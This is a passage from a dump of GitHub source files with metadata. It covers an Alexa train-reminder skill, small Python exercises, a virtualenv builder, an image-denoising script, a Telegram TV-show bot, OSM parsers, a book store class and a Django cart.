pytz.timezone('America/Chicago')\n nt = datetime.fromtimestamp(session_attr['walking_time']).astimezone(tz)\n notification_time = nt.strftime(\"%Y-%m-%dT%H:%M:%S\")\n logger.info(\"Notification Time {}\".format(notification_time))\n\n trigger = Trigger(TriggerType.SCHEDULED_ABSOLUTE, notification_time, time_zone_id=commands.TIME_ZONE_ID)\n text = SpokenText(locale='en-US', ssml='This is your reminder to leave to get the next train',\n text='This is your reminder to leave to get the next train')\n alert_info = AlertInfo(SpokenInfo([text]))\n push_notification = PushNotification(PushNotificationStatus.ENABLED)\n reminder_request = ReminderRequest(notification_time, trigger, alert_info, push_notification)\n logger.info(reminder_request)\n try:\n reminder_response = reminder_service.create_reminder(reminder_request)\n except ServiceException as e:\n # see: https://developer.amazon.com/docs/smapi/alexa-reminders-api-reference.html#error-messages\n logger.error(e)\n raise e\n\n return rb.speak(\"reminder created\") \\\n .set_card(SimpleCard(\"Notify Me\", \"leave to get the next train\")) \\\n .set_should_end_session(True) \\\n .response\n\n\nclass NoMoreInfoIntentHandler(AbstractRequestHandler):\n \"\"\"Handler for no to get no more info intent.\"\"\"\n def can_handle(self, handler_input):\n # type: (HandlerInput) -> bool\n session_attr = handler_input.attributes_manager.session_attributes\n return (is_intent_name(\"AMAZON.NoIntent\")(handler_input) and\n \"station\" in session_attr)\n\n def handle(self, handler_input):\n # type: (HandlerInput) -> Response\n logger.info(\"In NoMoreInfoIntentHandler\")\n\n speech = \"Ok. Safe Travels!\"\n handler_input.response_builder.speak(speech).set_should_end_session(True)\n return handler_input.response_builder.response\n\n\nclass SessionEndedRequestHandler(AbstractRequestHandler):\n \"\"\"Handler for skill session end.\"\"\"\n\n def can_handle(self, handler_input):\n # type: (HandlerInput) -> bool\n return is_request_type(\"SessionEndedRequest\")(handler_input)\n\n def handle(self, handler_input):\n # type: (HandlerInput) -> Response\n logger.info(\"In SessionEndedRequestHandler\")\n logger.info(\"Session ended with reason: {}\".format(\n handler_input.request_envelope.request.reason))\n return handler_input.response_builder.response\n\n\nclass HelpIntentHandler(AbstractRequestHandler):\n \"\"\"Handler for help intent.\"\"\"\n\n def can_handle(self, handler_input):\n # type: (HandlerInput) -> bool\n return is_intent_name(\"AMAZON.HelpIntent\")(handler_input)\n\n def handle(self, handler_input):\n # type: (HandlerInput) -> Response\n logger.info(\"In HelpIntentHandler\")\n\n handler_input.response_builder.speak((\n commands.HELP)).ask(commands.HELP)\n return handler_input.response_builder.response\n\n\nclass ExitIntentHandler(AbstractRequestHandler):\n \"\"\"Single Handler for Cancel, Stop intents.\"\"\"\n\n def can_handle(self, handler_input):\n # type: (HandlerInput) -> bool\n return (is_intent_name(\"AMAZON.CancelIntent\")(handler_input) or\n is_intent_name(\"AMAZON.StopIntent\")(handler_input))\n\n def handle(self, handler_input):\n # type: (HandlerInput) -> Response\n logger.info(\"In ExitIntentHandler\")\n\n handler_input.response_builder.speak((\n commands.STOP)).set_should_end_session(True)\n return handler_input.response_builder.response\n\n\n# Exception Handler classes\nclass CatchAllExceptionHandler(AbstractExceptionHandler):\n \"\"\"Catch All Exception handler.\n This handler catches all kinds of exceptions and prints\n the stack trace on AWS Cloudwatch with the request envelope.\"\"\"\n\n def can_handle(self, handler_input, exception):\n # type: (HandlerInput, Exception) -> bool\n return True\n\n def handle(self, handler_input, exception):\n # type: (HandlerInput, Exception) -> Response\n logger.error(exception, exc_info=True)\n logger.info(\"Original request was {}\".format(\n handler_input.request_envelope.request))\n\n speech = \"Sorry, there was some problem. Please try again!!\"\n handler_input.response_builder.speak(speech).ask(speech)\n\n return handler_input.response_builder.response\n\n\n# Add all request handlers to the skill.\nsb.add_request_handler(LaunchRequestHandler())\nsb.add_request_handler(YesMoreInfoIntentHandler())\nsb.add_request_handler(NoMoreInfoIntentHandler())\nsb.add_request_handler(NextTrainIntentHandler())\nsb.add_request_handler(HelpIntentHandler())\nsb.add_request_handler(ExitIntentHandler())\nsb.add_request_handler(SessionEndedRequestHandler())\n\n# Add exception handler to the skill.\nsb.add_exception_handler(CatchAllExceptionHandler())\n\n# Expose the lambda handler to register in AWS Lambda.\nlambda_handler = sb.lambda_handler()\n","repo_name":"velaraptor/capmetro_rail_alexa","sub_path":"lambda/run_metro.py","file_name":"run_metro.py","file_ext":"py","file_size_in_byte":13494,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"9089198359","text":"agenda = {\n \"chico@gmail.com\" : \"Chico\",\n \"maria@gmail.com\" : \"Maria\",\n \"gorete@gmail.com\" : \"Gorete\" \n}\n\nbusca = input(\"Qual o E-Mail da Pessoa Procurada? \")\n\nif busca in agenda.keys():\n print(f\"O E-mail {busca} pertence a {agenda[busca]}\")\nelse:\n print(\"Cadastro Não Encontrado!\")","repo_name":"ricardokleber/Programacao-Estruturada-e-Orientada-a-Objetos-2023","sub_path":"Registros_Exercicios_Sala/001.py","file_name":"001.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"31556129461","text":"from qad_api import QAD_API\n\n# Creating an QAD_API instance will authenticate the user with the backend\nqad = QAD_API()\n\n# Get the \"credits\" object of the current user, which contains more than\n# just the number of credits, but also information about credits renewal.\nresponse = qad.account.get_credits()\n\n# Print the current number of credits\nprint(f\"You have {response.credits} credits to do awesome stuff!\")\n","repo_name":"stjordanis/qad-api","sub_path":"examples/account/get_credits.py","file_name":"get_credits.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19632327953","text":"import os\nimport shutil\nimport subprocess as sp\nimport sys\nimport venv\n\nimport dodocs.utils as dutils\nimport dodocs.logger as dlog\n\nif sys.version_info < (3, 3) or not hasattr(sys, 'base_prefix'):\n raise ValueError('This script is only for use with Python 3.3 or later')\n\n\nclass VenvError(RuntimeError):\n \"\"\"Error raised when something goes wrong with the virtualenv\"\"\"\n\n\ndef bin_dir(venv_dir):\n \"\"\"Virtual environment bin directory\n\n Parameters\n ----------\n venv_dir : string\n name of the directory in which the virtual environment should be\n created\n\n Returns\n -------\n string\n bin directory\n \"\"\"\n return venv_dir / 'bin'\n\n\ndef venv_bin(profile, pyversion):\n \"\"\"Returns the path to the bin directory of the virtual environment for the\n given python version. Create it if necessary\n\n Parameters\n ----------\n profile : string\n name of the profile\n pyversion : string\n name of the python exe (e.g. ``python3``)\n\n Returns\n -------\n string\n bin directory\n \"\"\"\n venv_dir = dutils.venv_dir(profile, pyversion)\n bindir = bin_dir(venv_dir)\n if not venv_dir.exists():\n create_venv(venv_dir)\n\n return bindir\n\n\n@dutils.format_docstring(dutils.VENV_DIRECTORY)\ndef create_venv(venv_dir):\n \"\"\"Create the virtual environment for the given python version and install\n sphinx in it.\n\n The virtual environment is located into the \"{0}\" subdirectory in the\n project.\n\n Parameters\n ----------\n venv_dir : string\n name of the directory in which the virtual environment should be\n created\n \"\"\"\n log = dlog.getLogger()\n\n build_venv(venv_dir)\n log.debug(\"Virtualenv '%s' created\", venv_dir)\n\n\nclass VenvInVenvBuilder(venv.EnvBuilder):\n \"\"\"Virtual environment builder that, when instantiated from an other\n virtual environment, modifies the context to use global\n ``context.executable`` and ``context.python_dir``.\n\n This trick allow to install setuptools and pip also when dodocs is called\n from a virtual environment.\n \"\"\"\n\n def ensure_directories(self, env_dir):\n \"\"\"\n Create the directories for the environment.\n\n Returns a context object which holds paths in the environment,\n for use by subsequent logic.\n\n Parameters\n ----------\n env_dir : string\n directory of the virtual environment to create\n\n Returns\n -------\n context : Namespace\n environment paths and names\n \"\"\"\n context = super(VenvInVenvBuilder, self).ensure_directories(env_dir)\n\n if 'VIRTUAL_ENV' in os.environ:\n original_venv = os.environ['VIRTUAL_ENV']\n path = os.environ['PATH']\n for d in path.split(\":\")[1:]:\n if original_venv in d: # ignore the venv directory\n continue\n if os.path.exists(os.path.join(d, context.python_exe)):\n break\n else:\n raise ValueError(\"couldn't find any {} outside the virtual\"\n \" env, weird\".format(context.python_exe))\n\n context.python_dir = d\n context.executable = os.path.join(d, context.python_exe)\n\n return context\n\n\ndef build_venv(venv_dir):\n \"\"\"Create the virtual environments\n\n Parameters\n ----------\n venv_dir : string\n name of the directory of the virtual environment\n \"\"\"\n log = dlog.getLogger()\n\n builder = VenvInVenvBuilder(with_pip=True)\n builder.create(str(venv_dir))\n log.debug(\"Installing sphinx\")\n pip = bin_dir(venv_dir) / 'pip'\n cmd = [str(pip), 'install', 'sphinx']\n try:\n p = sp.Popen(cmd, stdout=sp.PIPE, stderr=sp.PIPE,\n universal_newlines=True)\n stdout, stderr = p.communicate()\n if p.returncode == 0:\n if stdout:\n log.debug(stdout)\n if stderr:\n log.warning(stderr)\n log.debug(\"Sphinx installed\")\n else:\n if stdout:\n log.warning(stdout)\n if stderr:\n log.error(stderr)\n\n log.info(\"Removing '%s' to avoid future problems\", venv_dir)\n shutil.rmtree(str(venv_dir))\n raise VenvError(\"The installation of sphinx failed. Are you\"\n \" connected to the internet?\")\n\n except FileNotFoundError:\n log.error(\"The installation of 'sphinx' failed because '%s' could not\"\n \" be found \", pip)\n","repo_name":"montefra/dodocs","sub_path":"dodocs/mkdoc/builders/pyvenvex.py","file_name":"pyvenvex.py","file_ext":"py","file_size_in_byte":4561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29502489406","text":"li = [0, 3, 5, 7, 10, 20, 28, 30, 45, 56]\nx = 56\ni = 0\nj = len(li) - 1\nm = int(j / 2)\nii = 0\nwhile li[m] != x and i < j:\n if x > li[m]:\n i = m + 1\n else:\n j = m - 1\n m = int((i + j) / 2)\n ii+=1\n print(ii)\n\nif i > j:\n print('Элемент не найден')\nelse:\n print('Индекс элемента: ', m)","repo_name":"Pro1ooEgor/exercise","sub_path":"bin poisk.py","file_name":"bin poisk.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41100682641","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import axes3d\nfrom random import randint\n\nfig = plt.figure(figsize = (8, 8))\nax = plt.subplot(111, projection = '3d')\n\ncolor = [\"red\", \"blue\", \"green\", \"orange\", \"purple\"]\n\nfor z in range(5):\n x = []\n y = []\n for second in range(10):\n x.append(second)\n y.append(randint(1, 10))\n\n ax.bar(x, y, zs = z/2, zdir = 'y', color = color[z])\n \nax.set_ylabel(\"Y\")\nax.set_xlabel(\"X\")\nax.set_zlabel(\"Z\")\nax.set_zlim(0, 14)\nax.view_init(20, 40)\nax.text(x = 4, y = 2, z = 12, s = \"Last Histogram\",\n bbox = dict(facecolor = \"white\"), alpha = 0.5,\n color = \"red\", fontsize = 15) \n\nax.text(x = 4, y = 0, z = 12, s = \"First Histogram\",\n bbox = dict(facecolor = \"grey\"), alpha = 0.5,\n color = \"white\", fontsize = 15)\nplt.show()\n\n","repo_name":"EliotGeller/Matplotlib","sub_path":"HistoStack.py","file_name":"HistoStack.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34220187100","text":"import argparse\nimport torch\nimport torch.nn as nn\nimport torchvision.io as io\nimport torchvision.transforms.functional as TF\nimport torch.nn.functional as F\nfrom tqdm import trange\n\nimport os\nfrom neighbor2neighbor import generate_mask_pair, generate_subimages\nfrom model import build_model\nfrom kornia.metrics import psnr\nimport yaml\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\n \"--cfg_path\", default=\"src/example.yaml\", help=\"Model and Hyperparamter Config\"\n)\nparser.add_argument(\"--input_path\", required=True, help=\"Path to image to denoise\")\nparser.add_argument(\"--output_path\", required=True, help=\"Path to save denoised image\")\n\n\n\nclass Loader(yaml.SafeLoader):\n\n def __init__(self, stream):\n\n self._root = os.path.split(stream.name)[0]\n\n super(Loader, self).__init__(stream)\n\n def include(self, node):\n\n filename = self.construct_scalar(node)\n\n with open(filename, 'r') as f:\n return yaml.load(f, Loader)\n\n\nLoader.add_constructor('!include', Loader.include)\n\n\ndef main(noisy, config, experiment_cfg):\n model = build_model(config)\n device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n model.to(device)\n print(\n \"Number of params: \",\n sum(p.numel() for p in model.parameters() if p.requires_grad),\n )\n # optimizer\n if experiment_cfg[\"optimizer\"] == \"Adam\":\n LR = experiment_cfg[\"lr\"]\n optimizer = torch.optim.AdamW(model.parameters(), lr=LR)\n\n # psnr_list = []\n # loss_list = []\n # ssims_list = []\n exp_weight = 0.99\n\n out_avg = None\n\n noisy_in = noisy\n noisy_in = noisy_in.to(device)\n\n H = None\n W = None\n # if noisy.shape[1] != noisy.shape[2]:\n # H = noisy.shape[2]\n # W = noisy.shape[3]\n # val_size = (max(H, W) + 31) // 32 * 32\n # noisy_in = TF.pad(\n # noisy,\n # (0, 0, val_size - noisy.shape[3], val_size - noisy.shape[2]),\n # padding_mode=\"reflect\",\n # )\n \n t = trange(experiment_cfg[\"num_iter\"])\n pll = nn.PoissonNLLLoss(log_input=False, full=True)\n last_net = None\n psrn_noisy_last = 0.0\n for i in t:\n\n mask1, mask2 = generate_mask_pair(noisy_in)\n mask1 = mask1.to(device)\n mask2 = mask2.to(device)\n with torch.no_grad():\n noisy_denoised = model(noisy_in)\n noisy_denoised = torch.clamp(noisy_denoised, 0.0, 1.0)\n\n noisy_in_aug = noisy_in.clone()\n # ic(noisy_in_aug.shape, mask1.shape, noisy_in.shape)\n noisy_sub1 = generate_subimages(noisy_in_aug, mask1)\n noisy_sub2 = generate_subimages(noisy_in_aug, mask2)\n\n noisy_sub1_denoised = generate_subimages(noisy_denoised, mask1)\n noisy_sub2_denoised = generate_subimages(noisy_denoised, mask2)\n\n noisy_output = model(noisy_sub1)\n noisy_output = torch.clamp(noisy_output, 0.0, 1.0)\n noisy_target = noisy_sub2\n\n Lambda = experiment_cfg[\"LAM\"]\n diff = noisy_output - noisy_target\n exp_diff = noisy_sub1_denoised - noisy_sub2_denoised\n\n if \"l1\" in experiment_cfg.keys():\n l1_regularization = 0.0\n for param in model.parameters():\n l1_regularization += param.abs().sum()\n total_loss = experiment_cfg[\"l1\"] * l1_regularization\n # else:\n if \"poisson_loss\" in experiment_cfg.keys():\n loss1 = pll(noisy_output, noisy_target)\n loss2 = F.l1_loss(noisy_output, noisy_target)\n loss1 += loss2\n elif \"poisson_loss_only\" in experiment_cfg.keys():\n loss1 = pll(noisy_output, noisy_target)\n elif \"l1_loss\" in experiment_cfg.keys():\n loss1 = F.l1_loss(noisy_output, noisy_target)\n\n elif \"mse\" in experiment_cfg.keys():\n loss1 = torch.mean(diff ** 2)\n else:\n loss1 = F.l1_loss(noisy_output, noisy_target)\n # orch.mean(diff**2)\n loss2 = Lambda * torch.mean((diff - exp_diff) ** 2)\n\n loss = loss1 + loss2\n if \"l1\" in experiment_cfg.keys():\n loss += total_loss\n loss.backward()\n\n with torch.no_grad():\n out_full = model(noisy_in).detach().cpu()\n if H is not None:\n out_full = out_full[:, :, :H, :W]\n if out_avg is None:\n out_avg = out_full.detach().cpu()\n else:\n out_avg = out_avg * exp_weight + out_full * (1 - exp_weight)\n out_avg = out_avg.detach().cpu()\n noisy_psnr = psnr(out_full, noisy_in.detach().cpu(), max_val=1.0).item()\n\n if (i + 1) % 50:\n if noisy_psnr - psrn_noisy_last < -4 and last_net is not None:\n print(\"Falling back to previous checkpoint.\")\n\n for new_param, net_param in zip(last_net, model.parameters()):\n net_param.data.copy_(new_param.cuda())\n\n total_loss = total_loss * 0\n optimizer.zero_grad()\n torch.cuda.empty_cache()\n continue\n else:\n last_net = [x.detach().cpu() for x in model.parameters()]\n psrn_noisy_last = noisy_psnr\n\n optimizer.step()\n optimizer.zero_grad()\n\n with torch.no_grad():\n out_full = model(noisy_in).detach().cpu()\n if H is not None:\n out_full = out_full[:, :, :H, :W]\n if out_avg is None:\n out_avg = out_full.detach().cpu()\n else:\n out_avg = out_avg * exp_weight + out_full * (1 - exp_weight)\n out_avg = out_avg.detach().cpu()\n\n return out_avg\n\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n\n with open(args.cfg_path, \"r\") as f:\n cfg = yaml.load(f, Loader=Loader)\n\n noisy = io.read_image(args.input_path).unsqueeze(0)/255\n \n out_image = main(noisy, cfg, cfg['experiment_cfg']) * 255\n out_image = out_image.type(torch.uint8).squeeze(0)\n io.write_png(out_image, args.output_path) ","repo_name":"tacalvin/Poisson2Sparse","sub_path":"src/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":5986,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"21"} +{"seq_id":"32721921668","text":"# coding=utf-8\nimport sys\n\nimport logging\n\nreload(sys)\nsys.setdefaultencoding('utf8')\nimport json\nimport re\nimport urllib\n\ndef run(bot, chat_id, user, keyConfig, message, totalResults=1):\n requestText = str(message).strip()\n\n showsUrl = 'http://api.tvmaze.com/search/shows?q='\n data = json.load(urllib.urlopen(showsUrl + requestText))\n logging.info('got show data:')\n logging.info(data)\n result = ''\n image_original = ''\n if len(data) >= 1:\n formattedShowSummary = re.sub(r'<[^>]*?>', '',\n str(data[0]['show']['summary'])\n .replace('', '*')\n .replace('', '*')\n .replace('"', '\\\"')\n .replace('[', '')\n .replace(']', '')\n .replace('\\\\', ''))\n fullShowDetails = parse_show_details(data[0]['show'])\n if 'image' in data[0]['show'] and data[0]['show']['image'] is not None:\n image_original = str(data[0]['show']['image']['original'])\n result = (user if not user == '' else 'Dave') + ', ' + fullShowDetails + '\\n' + formattedShowSummary\n else:\n result = 'I\\'m sorry ' + str(user if not user == '' else 'Dave') + \\\n ', I\\'m afraid I cannot find the TV show ' + \\\n str(requestText)\n if image_original != '':\n bot.sendMessage(chat_id=chat_id, text=image_original)\n try:\n bot.sendMessage(chat_id=chat_id, text=result, parse_mode='Markdown')\n except:\n bot.sendMessage(chat_id=chat_id, text=result)\n\n\ndef parse_show_details(data):\n fullShowDetails = str(data['name']) + ' Is ' + \\\n ('An' if data['status'][0] in ['A', 'E', 'I', 'O', 'U'] else 'A') + ' ' + \\\n str(data['status']) + ' ' + \\\n str(data['type']) + ' ' + \\\n ', '.join(data['genres'])\n if data['premiered'] != None:\n fullShowDetails += '\\nPremiere: ' + str(data['premiered'])\n showSchedule = ', '.join(['{0}s'.format(day) for day in data['schedule']['days']]) + \\\n (' at ' + str(data['schedule']['time']) if str(data['schedule']['time']) != '' else '')\n fullShowDetails += '\\nRuntime: ' + str(data['runtime']) + ' mins' + \\\n (' ' + showSchedule if showSchedule != '' else '')\n if 'officialSite' in data and data['officialSite'] is not None:\n fullShowDetails += '\\n' + str(data['officialSite'])\n return fullShowDetails\n","repo_name":"SalamiArmy/InfoBoet","sub_path":"telegram_commands/getshow.py","file_name":"getshow.py","file_ext":"py","file_size_in_byte":2659,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"31404884128","text":"class Solution:\r\n def findMaxAverage(self, nums, k):\r\n n = len(nums)\r\n maxsum=cursum=sum(nums[0:k])\r\n for i in range(n-k+1):\r\n cursum= max(cursum, sum(nums[i:i+k]))\r\n maxsum = max(maxsum, cursum)\r\n return maxsum/k\r\n\r\n\r\n\r\na =Solution()\r\nw = a.findMaxAverage([1,12,-5,-6,50,3],4)\r\nprint(w)","repo_name":"zhangleiray007/Leetcode-Python","sub_path":"Maximum Average Subarray I.py","file_name":"Maximum Average Subarray I.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35597781748","text":"from ._parser import parse_tags_dense, cumsum, decode_coord\n\n# list of tags copied from osm2pgsql project default style\nTAGS = {\n 'abandoned:aeroway',\n 'abandoned:amenity',\n 'abandoned:building',\n 'abandoned:landuse',\n 'abandoned:power',\n 'access',\n 'addr:housename',\n 'addr:housenumber',\n 'addr:interpolation',\n 'admin_level',\n 'aerialway',\n 'aeroway',\n 'amenity',\n 'area',\n 'area:highway',\n 'barrier',\n 'bicycle',\n 'boundary',\n 'brand',\n 'bridge',\n 'building',\n 'capital',\n 'construction',\n 'covered',\n 'culvert',\n 'cutting',\n 'denomination',\n 'disused',\n 'ele',\n 'embankment',\n 'foot',\n 'generator:source',\n 'harbour',\n 'highway',\n 'historic',\n 'horse',\n 'intermittent',\n 'junction',\n 'landuse',\n 'layer',\n 'leisure',\n 'lock',\n 'man_made',\n 'military',\n 'motorcar',\n 'name',\n 'natural',\n 'office',\n 'oneway',\n 'operator',\n 'place',\n 'population',\n 'power',\n 'power_source',\n 'public_transport',\n 'railway',\n 'ref',\n 'religion',\n 'route',\n 'service',\n 'shop',\n 'sport',\n 'surface',\n 'toll',\n 'tourism',\n 'tower:type',\n 'tracktype',\n 'tunnel',\n 'water',\n 'waterway',\n 'way_area',\n 'wetland',\n 'width',\n 'wood',\n 'z_order',\n}\n\n\ndef parse_dense_nodes(block, data):\n granularity = block.granularity\n lon_offset = block.lon_offset\n lat_offset = block.lat_offset\n\n ids = cumsum(data.id)\n lons = decode_coord(data.lon, granularity, lon_offset)\n lats = decode_coord(data.lat, granularity, lat_offset)\n\n tags = parse_tags_dense(TAGS, data.keys_vals, block.stringtable.s)\n\n items = zip(ids, lons, lats, tags)\n\n # store these positions, which have tags\n return [(id, (lon, lat), meta) for id, lon, lat, meta in items if meta]\n\ndef parse_ways(block, data):\n strings = [s.decode('utf-8') for s in block.stringtable.s]\n items = ((w.id, cumsum(w.refs), parse_tags(strings, w)) for w in data)\n # store these lines, which have tags\n return [(id, points, meta) for id, points, meta in items if meta]\n\ndef parse_tags(strings, data):\n items = ((strings[k], strings[v]) for k, v in zip(data.keys, data.vals))\n return {k: v for k, v in items if k in TAGS}\n\n# vim: sw=4:et:ai\n","repo_name":"wrobell/osmgeodb","sub_path":"osmgeodb/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":2328,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"42825012816","text":"import json\nfrom errors import ValidationError, NotFoundError\n\n\nclass Books:\n\n def __init__(self, json_file):\n self.json_file = json_file\n self.max_id = 0\n self.books = []\n\n def read_json(self):\n try:\n with open(self.json_file, 'r', encoding='utf-8') as fp:\n self.books = json.load(fp)\n self.set_max_id()\n except FileNotFoundError:\n self.books = []\n self.max_id = 0\n\n def set_max_id(self):\n self.max_id = 0\n if self.books:\n for book in self.books:\n if book['id'] > self.max_id:\n self.max_id = book['id']\n\n def to_json(self):\n with open(self.json_file, 'w', encoding='utf-8') as fp:\n json.dump(self.books, fp, ensure_ascii=False, indent='\\t')\n\n @staticmethod\n def gen_isbn(number, name=\"\"):\n s1 = 978\n s2 = 1\n s3 = 266\n s4 = number # 5 digits\n s5 = 1 # 1 digit (1-4) - control sum\n if name:\n s3 = int(str(abs(hash(name)))[:3])\n format_isbn = \"%3s-%1s-%03d-%05d-%1s\"\n return format_isbn % (s1, s2, s3, s4, s5)\n\n def add_new_book(self, new_book):\n self.check_input(new_book)\n new_book['id'] = self.max_id + 1\n new_book['isbn'] = self.gen_isbn(new_book['id'], new_book['name'])\n self.books.append(new_book)\n self.max_id += 1\n\n def update(self, uid, new_book: dict):\n self.check_input(new_book)\n book = self.get_book_by_id(uid)\n book['name'] = new_book['name']\n book['author'] = new_book['author']\n\n def remove_book_by_id(self, uid):\n self.books.remove(self.get_book_by_id(uid))\n\n def get_book_by_id(self, uid):\n for book in self.books:\n if book['id'] == uid:\n return book\n raise IndexError\n\n @staticmethod\n def check_input(book):\n if book.get('name', \"\") and book.get('author', \"\"):\n return True\n raise ValidationError\n\n def search(self, what: dict):\n # checking whether what is empty or whether no searching values - empty strings\n if not what or not ''.join(what.values()):\n raise ValidationError\n\n # genuine search\n # making case insensitive\n # using a new variable to not erase what for future needs\n new_what = {key.lower(): str(value).lower() for key, value in what.items()}\n\n # searching only all searching strings met\n results = []\n for book in self.books:\n results_line = {field: book[field] for field in new_what.keys()\n if field in book.keys() and (new_what[field] in str(book[field]).lower())}\n if len(results_line.keys()) == len(what.keys()):\n results.append(book)\n if results:\n return results\n raise NotFoundError\n\n def __call__(self, uid='all'):\n return self.books if uid == 'all' else self.get_book_by_id(uid)\n","repo_name":"ipotemkin/hw13_books","sub_path":"books.py","file_name":"books.py","file_ext":"py","file_size_in_byte":3013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31820855145","text":"import collections\nimport sys\n\nnotalist = (1, 2,)\nlist1 = [1, 2]\nlist2 = list(notalist)\n\nprint(list1 == list2, notalist == list1)\nprint('list() is iterable', isinstance(list1, collections.Iterable))\n\nlist1.append(3)\nprint('append() returns None: ', list1.append(4))\nprint(list1)\n\nlist1.append(list2)\nprint(list1)\n\nlist1.extend(list2)\nprint(list1)\n\nlist1.insert(1, 'inserted value')\nprint(list1)\n\nvar = ['kek']\nnvar = var[:]\nvar.append('tat')\nvar[0] = 'lol'\nprint(nvar)\n\ntest_list = ['a', 'b', 'c']\n\npopped = test_list.pop(0)\nprint('popped value os \"{}\"', format(popped))\n\ntest_list.remove('b')\n\ndel test_list[0]\n\nv, s = ['v', 's']\nprint(v, s)\n\nmulti = [\n [1, 2, 3],\n ['t', 'b', 'k']\n]\nfor row in multi:\n print(row)\n for element in row:\n print('element: ', element)\n\nif sys.version_info[0] == 2:\n print('xrange', xrange(1, 10)) # generator, print range from to\n print('range', range(1, 10)) # print all elements of range\nelse:\n print('range', range(1, 10))\n\nfor i in list(range(1, 15, 2)):\n print(i)\n","repo_name":"kvazistat/hw","sub_path":"lesson2.py","file_name":"lesson2.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72309661813","text":"from decimal import Decimal\nfrom django.conf import settings\nfrom bookstore.models import Book\nfrom promos.models import PromoCode\n\n\nclass Cart(object):\n\n def __init__(self, request):\n \"\"\"\n Initialize the cart.\n \"\"\"\n self.session = request.session\n cart = self.session.get(settings.CART_SESSION_ID)\n if not cart:\n # save an empty cart in the session\n cart = self.session[settings.CART_SESSION_ID] = {}\n self.cart = cart\n # store current applied promo_code\n self.promo_code_id = self.session.get('promo_code_id')\n\n def __iter__(self):\n \"\"\"\n Iterate over the items in the cart and get the books\n from the database.\n \"\"\"\n book_ids = self.cart.keys()\n # get the book objects and add them to the cart\n books = Book.objects.filter(id__in=book_ids)\n\n cart = self.cart.copy()\n for book in books:\n cart[str(book.id)]['book'] = book\n\n for item in cart.values():\n item['price'] = Decimal(item['price'])\n item['total_price'] = item['price'] * item['quantity']\n yield item\n \n def __len__(self):\n \"\"\"\n Count all items in the cart.\n \"\"\"\n return sum(item['quantity'] for item in self.cart.values())\n\n def add(self, book, quantity=1, update_quantity=False):\n \"\"\"\n Add a book to the cart or update its quantity.\n \"\"\"\n book_id = str(book.id)\n if book_id not in self.cart:\n self.cart[book_id] = {'quantity': 0,\n 'price': str(book.price)}\n if update_quantity:\n self.cart[book_id]['quantity'] = quantity\n else:\n self.cart[book_id]['quantity'] += quantity\n self.save()\n\n def save(self):\n # mark the session as \"modified\" to make sure it gets saved\n self.session.modified = True\n\n def remove(self, book):\n \"\"\"\n Remove a book from the cart.\n \"\"\"\n book_id = str(book.id)\n if book_id in self.cart:\n del self.cart[book_id]\n self.save()\n\n def get_total_price(self):\n return sum(Decimal(item['price']) * item['quantity'] for item in self.cart.values())\n\n def clear(self):\n # remove cart from session\n del self.session[settings.CART_SESSION_ID]\n self.save()\n\n @property\n def promo_code(self):\n if self.promo_code_id:\n return PromoCode.objects.get(id=self.promo_code_id)\n return None\n\n def get_discount(self):\n if self.promo_code:\n return (self.promo_code.discount / Decimal('100')) * self.get_total_price()\n return Decimal('0')\n\n def get_total_price_after_discount(self):\n return self.get_total_price() - self.get_discount()\n","repo_name":"arturkuchynski/ecom","sub_path":"ecom/cart/cart.py","file_name":"cart.py","file_ext":"py","file_size_in_byte":2842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15643063242","text":"\"\"\"show_map.py\r\n defines limits of the bounding box and print map from user's selection.\r\n\"\"\"\r\n# Import libraries\r\nimport requests\r\nimport pandas as pd\r\nfrom bs4 import BeautifulSoup\r\nfrom rapidfuzz import process, fuzz\r\nfrom datetime import datetime\r\nimport unidecode\r\nimport json\r\nimport datetime\r\nimport matplotlib.pyplot as plt\r\nimport webbrowser\r\n\r\n\r\ndef evol_osm(ctry_2_dl):\r\n ctry_done = [0] * len(ctry_2_dl)\r\n date_ = [0] * 31\r\n k = 0\r\n\r\n for ctry2dl in ctry_2_dl:\r\n if ctry2dl == 'Democratic Republic of the Congo':\r\n ctry2dl = 'Congo-Kinshasa'\r\n elif ctry2dl == 'Congo-Brazzaville':\r\n ctry2dl = 'Republic of the Congo'\r\n elif ctry2dl.split('/')[0] == 'us-west':\r\n ctry2dl = 'us'\r\n\r\n cr_el = [0] * 31\r\n mod_el = [0] * 31\r\n del_el = [0] * 31\r\n contr = [0] * 31\r\n if ctry2dl.split('/')[0] not in ctry_done:\r\n ctry_done[k] = ctry2dl.split('/')[0]\r\n k = k + 1\r\n if k > 1:\r\n print('...')\r\n print('Processing further countries ...')\r\n print('...')\r\n elif ctry2dl.split('/')[0] == 'great-britain':\r\n ctry2dl = 'United Kingdom'\r\n elif 